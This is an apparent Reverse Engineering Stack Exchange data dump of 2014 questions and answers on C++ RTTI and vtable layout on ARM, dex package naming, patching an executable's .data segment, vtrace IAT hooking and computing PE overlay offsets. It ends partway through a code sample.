  <row Id="4316" PostTypeId="1" CreationDate="2014-05-12T13:54:17.413" Score="5" ViewCount="1304" Body="&lt;p&gt;IDA annotates some items as: &lt;strong&gt;&lt;code&gt;typeinfo&lt;/code&gt; for &lt;code&gt;_classname_&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is that &lt;code&gt;typeinfo&lt;/code&gt;, is it the same as &lt;code&gt;type_info&lt;/code&gt;?&#xA;What information may be extracted from it? (e.g. I'd like to know the object size or virtual function table size).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am particularly interested in GNU C++ (G++) from Android NDK for ARM.&lt;/p&gt;&#xA;" OwnerUserId="4398" LastEditorUserId="53" LastEditDate="2014-05-12T15:23:02.450" LastActivityDate="2014-05-14T10:14:11.223" Title="What is stored in typeinfo (GNU C++, Android NDK, ARM)" Tags="|ida|c++|android|arm|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4317" PostTypeId="2" ParentId="4314" CreationDate="2014-05-12T14:11:53.303" Score="2" Body="&lt;p&gt;Why do you think these values are &quot;odd&quot;? Odd in the sense of &quot;strange&quot;, or &quot;not divisible by 2&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The values in the vmt are pointers to the functions (or methods, thus vmt vs. vft) of the class object. These seem quite ok, because the vmt's address &lt;code&gt;0x611f77f8&lt;/code&gt; is slightly above the methods &lt;code&gt;60986309&lt;/code&gt;, &lt;code&gt;60986325&lt;/code&gt;. As the compiler compiles all class methods first, then creates the vmt, a vmt at a memory address a bit higher than the methods seems quite normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, instructions on an ARM are 4-byte-aligned, and in THUMB mode, they're 2-byte-aligned, but the addresses your function pointers point to aren't. This is because, when executing an indirect branch, the ARM processor uses the lowest bit to switch between THUMB and ARM mode. So, an address of &lt;code&gt;0x60986309&lt;/code&gt; actually means &quot;switch the processor to THUMB mode, then begin executing at &lt;code&gt;0x60986308&lt;/code&gt;. When calling one of the vmt functions, the compiler generates an instruction to put the vmt reference into a register, then does a &lt;code&gt;BLX&lt;/code&gt; on that register, so the lowest bit will have its meaning to switch the instruction type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://www.keil.com/support/man/docs/ARMASMREF/ARMASMREF_Cihfddaf.htm&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; ARM reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Rm is a register containing an address to branch to.&#xA;....&#xA;The BX and BLX instructions can change the processor state from ARM to Thumb, or from Thumb to ARM.&#xA;BLX label always changes the state.&#xA;BX Rm and BLX Rm derive the target state from bit[0] of Rm:&#xA;    if bit[0] of Rm is 0, the processor changes to, or remains in, ARM state&#xA;    if bit[0] of Rm is 1, the processor changes to, or remains in, Thumb state.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-05-12T14:11:53.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4318" PostTypeId="2" ParentId="4315" CreationDate="2014-05-12T14:32:58.187" Score="4" Body="&lt;p&gt;Yes, the package hierarchy is preserved in the dex file. To be more precise, if a class was named foo.bar.baz.foo.Myclass in the sourcecode, it's name will be foo.bar.baz.foo.Myclass in the .dex as well. Any &quot;package hierarchy&quot; will be derived from those class names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to know more about the .dex file format, the &lt;a href=&quot;http://source.android.com/devices/tech/dalvik/dex-format.html&quot; rel=&quot;nofollow&quot;&gt;Dalvik Executable Format Reference&lt;/a&gt; should contain everything you need.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-05-12T14:32:58.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4319" PostTypeId="2" ParentId="4316" CreationDate="2014-05-12T14:43:58.617" Score="3" Body="&lt;p&gt;These objects are indeed instances of the &lt;code&gt;type_info&lt;/code&gt; class (or, more likely, one of its descendants). The structure of those classes is described in the &lt;a href=&quot;http://mentorembedded.github.io/cxx-abi/abi.html#rtti-layout&quot; rel=&quot;nofollow&quot;&gt;Itanium C++ ABI&lt;/a&gt;. You can also inspect the &lt;a href=&quot;http://docs.libreoffice.org/bridges/html/rtti_8h_source.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;rtti.h&lt;/code&gt;&lt;/a&gt; file from GCC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a trimmed-down, data-only representation of these classes, check my &lt;a href=&quot;http://www.hexblog.com/?p=704&quot; rel=&quot;nofollow&quot;&gt;Recon 2012 presentation&lt;/a&gt; (start at slide 27 or so).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-05-12T14:43:58.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4320" PostTypeId="2" ParentId="4315" CreationDate="2014-05-12T16:37:19.950" Score="3" Body="&lt;p&gt;The fast answer is that in Java, the &lt;em&gt;fully qualified name of the class&lt;/em&gt; is the &lt;em&gt;actual&lt;/em&gt; name of the class concatenated with its package.  To the classloader, &lt;code&gt;com.foo.Annamalai&lt;/code&gt; is the name it will load at runtime.  This is also, subsequently why you can't have two classes of the same name &lt;em&gt;in the same package.&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will be a (semi) contrived instance, but lets pretend your app has two different logging frameworks, and you need to support both.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import java.util.logging.Logger;&#xA;import org.apache.log4j.Logger;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you try this, your compiler should barf, complaining that you have two classes with the same name.  Well, this version will work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;org.apache.log4j.Logger logger4j = org.apache.log4j.Logger.getLogger(DeleteMe.class);&#xA;java.util.logging.Logger loggingLogger = java.util.logging.Logger.getLogger(DeleteMe.class.getName());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because of this package/class naming convention, it is trivial to extract the file structure of the application for reverse-engineering purposes, because in java the package name is specified to correlate to a file structure.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a comment you asked about NOT using a package, well, if you did that then you would NEVER be able to use two classes of the same name--the compiler would never allow it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above example would turn into this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Logger logger4j = Logger.getLogger(DeleteMe.class.getName());&#xA;Logger loggingLogger = Logger.getLogger(DeleteMe.class.getName());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which &lt;code&gt;Logger&lt;/code&gt; is the compiler going to pick if you have two on the classpath without package names?  &lt;/p&gt;&#xA;" OwnerUserId="4053" LastActivityDate="2014-05-12T16:37:19.950" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4321" PostTypeId="1" CreationDate="2014-05-12T20:48:42.060" Score="3" ViewCount="4924" Body="&lt;p&gt;This is a question related to another question I asked a few days ago; I recommend you to give a quick read to it &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4287/how-to-deal-with-static-memory-allocation-while-modifying-an-executable&quot;&gt;here&lt;/a&gt; because it can contain useful information.&#xA;Anyway, I have two static classes inside my target executable (&lt;code&gt;ECX&lt;/code&gt; register always spotted inside classes' methods), and it clearly looks like the first one contains the second one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data:0190BD08 CFG_DB db ; DATA XREF: sub_40FFF0:loc_410049o&#xA;// 4 Bytes&#xA;.data:0190BD0C CFG_DB_TABLE&amp;lt;struct CFG_ENTRY[500], unsigned int&amp;gt; db ; DATA XREF: sub_A3DDD0+2Co&#xA;// 30 Bytes&#xA;.data:0190BD3C dword_190BD3C dd ? ; int dword_190BD3C[] DATA XREF: sub_5F5F70+B2r&#xA;&#xA;With sub_40FFF0:loc_410049o =&#xA;    CFG_DB_TABLE_Reset((int)&amp;amp;CFG_DB);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;code&gt;Virtual Function Table&lt;/code&gt; of the first one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rdata:0137A1F0 dd offset CFG_DB&#xA;.rdata:0137A1F4 ??_7CFG_DB@@6B@ dd offset CFG_DB_Constructor&#xA;.rdata:0137A1F4     ; DATA XREF: CFG_DB_CreateInstance+8o&#xA;.rdata:0137A1F8 dd offset nullsub_008EF050&#xA;.rdata:0137A1FC dd offset sub_8EAB30&#xA;.rdata:0137A200 dd offset sub_8EF060&#xA;.rdata:0137A204 dd offset CFG_DB_TABLE_Reset&#xA;.rdata:0137A208 dd offset CFG_DB_ParseData&#xA;.rdata:0137A20C dd offset CFG_DB_ReadFile&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the &lt;code&gt;Virtual Function Table&lt;/code&gt; of the second one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rdata:0137A1D4 dd offset CFG_DB_TABLE&#xA;.rdata:0137A1D8 ??_7?$CFG_DB_TABLE@UCFG_ENTRY@@$0BPE@I@@6B@ dd offset CFG_DB_TABLE_Constructor&#xA;.rdata:0137A1D8     ; DATA XREF: CFG_DB_TABLE_Destructor+1Do&#xA;.rdata:0137A1D8     ; DATA XREF: CFG_DB_TABLE_CreateInstance+38o&#xA;.rdata:0137A1DC dd offset nullsub_008EF050&#xA;.rdata:0137A1E0 dd offset sub_8EAB30&#xA;.rdata:0137A1E4 dd offset sub_8EF060&#xA;.rdata:0137A1E8 dd offset CFG_DB_TABLE_Reset&#xA;.rdata:0137A1EC dd offset CFG_DB_ParseData&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In pseudo-code all this should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static CFG_DB cfgDB;&#xA;&#xA;class CFG_DB&#xA;{&#xA;    int memoryAddress;&#xA;    static CFG_DB_TABLE _DBTable;&#xA;    // more data?&#xA;};&#xA;&#xA;struct CFG_DB_TABLE&#xA;{&#xA;    int memoryAddress;&#xA;    CFG_ENTRY cfgEntries[500];&#xA;    int       filledSlotsCount;&#xA;    // more data...&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All I want to do is to increase the size of &lt;code&gt;CFG_ENTRY&lt;/code&gt; structure's array located in &lt;code&gt;CFG_DB_TABLE&lt;/code&gt; from &lt;code&gt;500&lt;/code&gt; to &lt;code&gt;1000&lt;/code&gt;. Knowing the size of &lt;code&gt;CFG_ENTRY&lt;/code&gt; structure (it's &lt;code&gt;996&lt;/code&gt; bytes), it appears to be a quite simple task to do. Becaose of the fact that the &lt;code&gt;filledSlotsCount&lt;/code&gt; (referenced by many times in the code) is placed at the end of the struct I can proceed using two different approchaes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Increasing the size of the existing &lt;code&gt;cfgEntries&lt;/code&gt; to &lt;code&gt;1000&lt;/code&gt; and increasing also every pointer reference to &lt;code&gt;filledSlotsCount&lt;/code&gt; and other variables by 996*500.&lt;/li&gt;&#xA;&lt;li&gt;Appending a &lt;code&gt;CFG_ENTRY newCfgEntries[1000]&lt;/code&gt; to the end of the structure and setting every pointer reference to &lt;code&gt;cfgEntries&lt;/code&gt; by sizeof(CFG_DB_TABLE)-(996*1000). This one seems to be the simpler one.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, for example, using the first approach, this small piece of &lt;code&gt;CFG_DB_ParseData&lt;/code&gt;'s code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while (true)&#xA;{&#xA;    currentFilledSlotsCount = *(_DWORD *)(pointerToCFG_DB_TABLE + 498004);&#xA;&#xA;    if ( currentFilledSlotsCount &amp;gt;= 500 )&#xA;        break;&#xA;&#xA;    *(_DWORD *)(pointerToCFG_DB_TABLE + 498004) = currentFilledSlotsCount + 1;&#xA;&#xA;    if (!CFG_DB_ParseEntry((void *)(pointerToCFG_DB_TABLE + 996 * currentFilledSlotsCount + 4), v5) )&#xA;    {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while (true)&#xA;{&#xA;    currentFilledSlotsCount = *(_DWORD *)(pointerToCFG_DB_TABLE + 996004);&#xA;&#xA;    if ( currentFilledSlotsCount &amp;gt;= 1000 )&#xA;        break;&#xA;&#xA;    *(_DWORD *)(pointerToCFG_DB_TABLE + 996004) = currentFilledSlotsCount + 1;&#xA;&#xA;    if (!CFG_DB_ParseEntry((void *)(pointerToCFG_DB_TABLE + 996 * currentFilledSlotsCount + 4), v5) )&#xA;    {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the code of method &lt;code&gt;CFG_DB_TABLE_CreateInstance&lt;/code&gt; becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __thiscall CFG_DB_TABLE_CreateInstance(int this)&#xA;{&#xA;    int v1; // esi@1&#xA;    int v2; // [sp+18h] [bp-28h]@1&#xA;&#xA;    v1 = this;&#xA;    v2 = this;&#xA;&#xA;    *(_DWORD *)this = &amp;amp;CFG_DB_TABLE&amp;lt;CFG_ENTRY_500_unsigned_int&amp;gt;::_vftable_;&#xA;    unknown_libname_2672((void *)(this + 4), 996, 1000, sub_8EECA0, sub_8EEA00);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now... doing these modifications I avoided memory overlapping/overwriting into the classes themselves, but I still have to deal with the &lt;code&gt;.data segment&lt;/code&gt; itself, right? In fact I think I have to extend its size by 996*500 and, as suggested by other users that helped me out in my previous question, I should also move:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data:0190BD08 CFG_DB db&#xA;.data:0190BD0C CFG_DB_TABLE&amp;lt;struct CFG_ENTRY[500], unsigned int&amp;gt; db&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To the bottom of the &lt;code&gt;.data segment&lt;/code&gt;, right? Otherwise the memory of those static classes risks to run over the memory of static instances that are located after them in the segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;strong&gt;questions&lt;/strong&gt; are quite simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) How can it be possible that the size of the static &lt;code&gt;CFG_DB_TABLE&lt;/code&gt; is only 30 bytes in the &lt;code&gt;.data segment&lt;/code&gt; (data:0190BD3C - data:0190BD0C) if it contains &lt;code&gt;4+996*500*4=498008&lt;/code&gt; bytes minimum (but probably even more because I saw some pointer references starting from it like &lt;code&gt;this+502036&lt;/code&gt;)? Am I missing something very important in my calculations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) How can I move extend the size of the &lt;code&gt;.data segment&lt;/code&gt; by 996*500? Do I have to manually edit the PE header values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) If this is really necessary... how can I move my static data references concerning &lt;code&gt;CFG_DB&lt;/code&gt; and &lt;code&gt;CFG_DB_TABLE&lt;/code&gt; instances from the middle to the bottom of the &lt;code&gt;.data segment&lt;/code&gt; itself? Is there any tool out there that can do this also taking care of rewriting every reference to them?&lt;/p&gt;&#xA;" OwnerUserId="4469" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-06-09T03:00:46.890" Title="How to edit an executable's &quot;.data&quot; segment?" Tags="|assembly|decompilation|debugging|memory|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4322" PostTypeId="1" CreationDate="2014-05-13T04:35:47.770" Score="2" ViewCount="230" Body="&lt;p&gt;In an effort to learn vtrace I've been trying to attach to a process and hook the import address table and then resume the main thread of a process.  When I don't attach to the process the ResumeThread() call works fine.  But when I do it spins up a thread then the call to ResumeThread() doesn't work and the main thread never runs.  Below is the code...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from ctypes import *&#xA;from ctypes import wintypes&#xA;from defines import *&#xA;import vdb&#xA;import vtrace&#xA;import sys&#xA;from iathook import *&#xA;&#xA;class PROCESS_INFORMATION(ctypes.Structure):&#xA;    _fields_ = [&#xA;            (&quot;hProcess&quot;,    HANDLE),&#xA;            (&quot;hThread&quot;,     HANDLE),&#xA;            (&quot;dwProcessId&quot;, DWORD),&#xA;            (&quot;dwThreadId&quot;,  DWORD),&#xA;            ]    &#xA;&#xA;process_info    = PROCESS_INFORMATION()&#xA;&#xA;kernel32 = ctypes.WinDLL('kernel32.dll')&#xA;&#xA;bCreateProcessW = kernel32.CreateProcessA(&#xA;                                path_to_binary,&#xA;                                None,&#xA;                                None,&#xA;                                None,&#xA;                                True,&#xA;                                creation_flags,&#xA;                                None,&#xA;                                None,&#xA;                                byref(startupinfo),&#xA;                                byref(process_info))&#xA;&#xA;#launched the process in a suspended state and patch it using DLL injection&#xA;#but this code doesn't effect the following code&#xA;&#xA;apptrace = vtrace.getTrace()              &#xA;apptrace.attach(process_info.dwProcessId)     #1&#xA;hookSomeStuff = hookIat(apptrace, 'MSVCR110') #2&#xA;#apptrace.resumeThread(process_info.hThread)  #3&#xA;dwPrevSuspendCount = kernel32.ResumeThread(process_info.hThread)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I mentioned above when I remove the &lt;code&gt;vtrace attach&lt;/code&gt; and and &lt;code&gt;hookIat&lt;/code&gt; stuff (line #1 &amp;amp; #2).  The ResumeThread() call works fine and the main thread runs.  I also tried resuming the thread using the vtrace method (line #3) but it tells me that the thread is not suspended.  The main thread doesn't actually run so I wonder how it could not be suspended or what happened to it.  I also check the events of the binary using procmon and when it attaches it spins up another thread and that seems to throw things off.  This may seem awkward and I understand there are many other ways to do this but I'm using it as a learning exercise and now I'm interested why it's not working.  Any help is appreciated and thanks in advance for any help.&lt;/p&gt;&#xA;" OwnerUserId="2743" LastActivityDate="2014-05-13T04:35:47.770" Title="ResumeThread doesn't work after attaching to the process using vTrace" Tags="|python|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4323" PostTypeId="1" AcceptedAnswerId="4325" CreationDate="2014-05-13T07:50:41.487" Score="8" ViewCount="2458" Body="&lt;p&gt;The beginning of the virtual function table (VFT, also virtual method table, VMT) disasembled by IDA goes as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; _ZTV13QSystemLocale DCD 0, _ZTI13QSystemLocale, _ZN13QSystemLocaleD2Ev+1, _ZN13QSystemLocaleD0Ev+1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;code&gt;c++filt&lt;/code&gt; decodes it as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; vtable for QSystemLocale DCD 0, typeinfo for QSystemLocale, QSystemLocale::~QSystemLocale()+1, QSystemLocale::~QSystemLocale()+1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here we see &lt;code&gt;_ZN13QSystemLocaleD2Ev&lt;/code&gt; and &lt;code&gt;_ZN13QSystemLocaleD0Ev&lt;/code&gt;, both transformed by &lt;code&gt;c++filt&lt;/code&gt; to &lt;code&gt;QSystemLocale::~QSystemLocale()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(+1 is normal, the bit selects the right instruction set on ARM).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Qt source declares:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;virtual ~QSystemLocale();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Why there are two virtual destructors?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I work with ARM, Android NDK (gcc/g++), C++, Qt).&lt;/p&gt;&#xA;" OwnerUserId="4398" LastEditorUserId="4398" LastEditDate="2014-05-13T07:56:14.823" LastActivityDate="2014-05-13T09:10:15.597" Title="Why two virtual destructors?" Tags="|c++|android|arm|virtual-functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4324" PostTypeId="1" AcceptedAnswerId="4326" CreationDate="2014-05-13T08:41:27.717" Score="7" ViewCount="2319" Body="&lt;p&gt;I write a Portable Executable (PE) library that also provides finding the starting offset of the overlay (appended data to the PE that is not mapped into memory).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My algorithm finding the overlay offset looks like this so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public long getOverlayOffset() throws IOException {&#xA;        if (offset == null) {&#xA;            SectionTable table = data.getSectionTable();&#xA;            offset = 0L;&#xA;            for (SectionTableEntry section : table.getSectionEntries()) {&#xA;                long pointerToRaw = section.get(POINTER_TO_RAW_DATA);&#xA;                long sizeOfRaw = section.get(SIZE_OF_RAW_DATA);&#xA;                long virtSize = section.get(VIRTUAL_SIZE);&#xA;                //see https://code.google.com/p/corkami/wiki/PE#section_table: &quot;if bigger than virtual size, then virtual size is taken. &quot;&#xA;                //and: &quot;a section can have a null VirtualSize: in this case, only the SizeOfRawData is taken into consideration. &quot;&#xA;                if(virtSize != 0 &amp;amp;&amp;amp; sizeOfRaw &amp;gt; virtSize) { &#xA;                    sizeOfRaw = virtSize;&#xA;                }&#xA;                long endPoint = pointerToRaw + sizeOfRaw;&#xA;                if (offset &amp;lt; endPoint) {&#xA;                    offset = endPoint;&#xA;                }&#xA;            }&#xA;        }&#xA;        if(offset &amp;gt; file.length()) {&#xA;            offset = file.length();&#xA;        }&#xA;        return offset;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used &lt;a href=&quot;https://code.google.com/p/corkami/wiki/PE#section_table&quot; rel=&quot;noreferrer&quot;&gt;corkami&lt;/a&gt; as a source to get to know some of the odds in calculating the overlay offset. I do not only want it to be robust, but also accurate.&#xA;Did I miss something? What else do I have to put into consideration?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: There was a similar question here: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2014/how-can-one-extract-the-appended-data-of-a-portable-executable&quot;&gt;How can one extract the appended data of a Portable Executable?&lt;/a&gt;&#xA;But it doesn't cover a reliable algorithm so far. As I understand it, using a tool suffices in that question.&lt;/p&gt;&#xA;" OwnerUserId="4608" LastEditorUserId="4608" LastEditDate="2014-05-13T09:41:49.497" LastActivityDate="2014-05-23T20:15:47.903" Title="Reliable algorithm to extract overlay of a PE" Tags="|pe|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4325" PostTypeId="2" ParentId="4323" CreationDate="2014-05-13T08:43:30.770" Score="9" Body="&lt;p&gt;According to &lt;a href=&quot;http://www.swag.uwaterloo.ca/acd/docs/ItaniumC++ABI.htm#mangling&quot;&gt;documentation&lt;/a&gt; the first one is base object destructor and the second one is deleting destructor. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Constructors and destructors are simply special cases of &amp;lt;unqualified-name&amp;gt;, where the final &amp;lt;unqualified-name&amp;gt; of a nested name is replaced by one of the following:&#xA;&#xA;&#xA;  &amp;lt;ctor-dtor-name&amp;gt; ::= C1   # complete object constructor&#xA;           ::= C2   # base object constructor&#xA;           ::= C3   # complete object allocating constructor&#xA;           ::= D0   # deleting destructor&#xA;           ::= D1   # complete object destructor&#xA;           ::= D2   # base object destructor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://infocenter.arm.com/help/topic/com.arm.doc.ihi0041d/IHI0041D_cppabi.pdf&quot;&gt;ARM IHI 0041D&lt;/a&gt; document the difference between these destructors is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;This ABI requires C1 and C2 constructors to return this (instead of being void functions) so that a C3 constructor&#xA;can tail call the C1 constructor and the C1 constructor can tail call C2.&#xA;Similarly, we require D2 and D1 to return this so that D0 need not save and restore this and D1 can tail call D2 (if&#xA;there are no virtual bases). D0 is still a void function.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2014-05-13T09:10:15.597" LastActivityDate="2014-05-13T09:10:15.597" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4326" PostTypeId="2" ParentId="4324" CreationDate="2014-05-13T16:19:32.820" Score="7" Body="&lt;p&gt;You appear to be missing the corner cases such as mis-aligned pointers (should round down) and sizes (should round up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, even the rounding has corner cases - the physical pointer should be rounded down to a multiple of 512, regardless of the value in the header, but the read size is rounded up by using a combination of the file alignment and 4kb.  The virtual size is always rounded up to a multiple of 4kb, regardless of the value in the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Digital signatures must be overlays.  This is a check that is enforced now by Windows, for security reasons.  If not an overlay, the file won't load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need something like this (and filealign comes from the PE header):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        long pointerToRaw = section.get(POINTER_TO_RAW_DATA);&#xA;        long alignedpointerToRaw = pointerToRaw &amp;amp; ~0x1ff;&#xA;        long sizeOfRaw = section.get(SIZE_OF_RAW_DATA);&#xA;        long readsize = ((pointerToRaw + sizeOfRaw) + filealign - 1) &amp;amp; ~(filealign - 1)) - alignedpointerToRaw;&#xA;        readsize = min(readsize, (sizeOfRaw + 0xfff) &amp;amp; ~0xfff);&#xA;        long virtsize = section.get(VIRTUAL_SIZE);&#xA;&#xA;        if (virtsize)&#xA;        {&#xA;            readsize = min(readsize, (virtsize + 0xfff) &amp;amp; ~0xfff);&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you have &quot;alignedpointerToRaw&quot; as the starting position, and &quot;readsize&quot; as the number of bytes in the section.  Sum these to find the end of the section.  You need to perform this calculation for all sections (because physical data might not be sequential in the file).  The largest sum is the end of the image.  Anything beyond that is overlay.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="1323" LastEditDate="2014-05-13T22:33:05.367" LastActivityDate="2014-05-13T22:33:05.367" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4329" PostTypeId="2" ParentId="4316" CreationDate="2014-05-14T05:17:57.837" Score="2" Body="&lt;p&gt;To add &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/4319/4398&quot;&gt;Igor Skochinsky's answer&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given VFT address, you can print the mangled class name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned int* vmtaddr = *(int*)obj_addr;&#xA;DLOG(&quot;class name: _Z%s&quot;,((char***)vmtaddr)[-1][1]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The class name may be decoded with &lt;code&gt;c++filt&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The &lt;code&gt;_Z&lt;/code&gt; thing is not stored there, but required for &lt;code&gt;c++filt&lt;/code&gt; to work.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also print the inheritance chain (the trick is that typeinfo is also an object, and if it is a &lt;code&gt;__cxxabiv1::__si_class_type_info&lt;/code&gt;, against whose mangled name we &lt;code&gt;strcmp()&lt;/code&gt;, there has been single inheritance and a pointer to the superclass typeinfo follows the pointer to name):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    char* classchain = strrealloccat(NULL, &quot;_Z&quot;);&#xA;    char**ptypeinfo = ((char***)vmtaddr[-1]);&#xA;    for (; ptypeinfo ; ptypeinfo = !strcmp(((char***)ptypeinfo[0])[-1][1], &quot;N10__cxxabiv120__si_class_type_infoE&quot;) ? (char**)ptypeinfo[2] : 0) {&#xA;        //DLOG(&quot;tinfo: %p&quot;,ptypeinfo);&#xA;        //DLOG(&quot;class: _Z%s   meta: _Z%s&quot;,ptypeinfo[1], ((char***)ptypeinfo[0])[-1][1]);&#xA;        //DLOG(&quot;meta : _Z%s&quot;,((char***)ptypeinfo[0])[-1][1]);&#xA;        classchain = strrealloccat(strrealloccat(classchain, ptypeinfo[1]), &quot;  _Z&quot;);&#xA;    }&#xA;    DLOG(&quot;inheritance chain: %s&quot;,classchain);&#xA;    free(classchain);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;strrealloccat()&lt;/code&gt; is defined as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char* strrealloccat(char* buffer0, char *addition)&#xA;{&#xA;    char* buffer = realloc(buffer0, (buffer0 ? strlen(buffer0) : 0) + strlen(addition) + sizeof(char));&#xA;    if (!buffer) {&#xA;    return buffer;&#xA;    }&#xA;    if(!buffer0) {&#xA;    *buffer = 0;&#xA;    }&#xA;    return strcat(buffer, 